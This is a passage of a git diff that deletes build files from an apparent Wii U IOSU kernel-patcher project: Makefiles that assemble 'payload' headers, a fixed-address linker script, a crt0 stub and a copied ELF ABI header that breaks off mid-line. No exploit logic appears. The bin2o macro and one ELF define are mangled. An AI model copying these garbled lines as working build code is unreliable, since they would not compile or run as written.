@-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/titleprot2/titleprot2_bin.h $@ - -$(CURDIR)/payload/titleprot_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/titleprot -f $(CURDIR)/titleprot/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/titleprot/titleprot_bin.h $@ - -$(CURDIR)/payload/wupserver_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/../../wupserver -f $(CURDIR)/../../wupserver/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/../../wupserver/wupserver_bin.h $@ - -$(CURDIR)/payload/arm_user_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ - -setup: - mkdir -p $(root)/bin/ - -main: $(CURDIR)/payload/arm_kernel_bin.h - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o iosu_patcher.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map iosu_patcher.map - $(OBJCOPY) iosu_patcher.elf -S -O binary ../iosu_patcher.bin - -clean: - rm -rf $(build) payload - rm -rf iosu_patcher.elf iosu_patcher.map - $(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/titleprot -f $(CURDIR)/titleprot/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/titleprot2 -f $(CURDIR)/titleprot2/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/../../wupserver -f $(CURDIR)/../../wupserver/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean diff --git a/dsrom/iosu_patcher/arm_kernel/Makefile b/dsrom/iosu_patcher/arm_kernel/Makefile deleted file mode 100644 index 54df575..0000000 --- a/dsrom/iosu_patcher/arm_kernel/Makefile +++ /dev/null @@ -1,71 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -rf build - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/arm_kernel/link.ld b/dsrom/iosu_patcher/arm_kernel/link.ld deleted file mode 100644 index 1409c57..0000000 --- a/dsrom/iosu_patcher/arm_kernel/link.ld +++ /dev/null @@ -1,20 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x08135000, LENGTH = 0x000B000 -} - -SECTIONS -{ - .text : ALIGN(0x100) { - __file_start = .; - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - __file_end = .; - } -} - diff --git a/dsrom/iosu_patcher/arm_kernel/source/crt0.s b/dsrom/iosu_patcher/arm_kernel/source/crt0.s deleted file mode 100644 index 83d7bb6..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/crt0.s +++ /dev/null @@ -1,9 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -_start: - b _main diff --git a/dsrom/iosu_patcher/arm_kernel/source/elf_abi.h b/dsrom/iosu_patcher/arm_kernel/source/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define 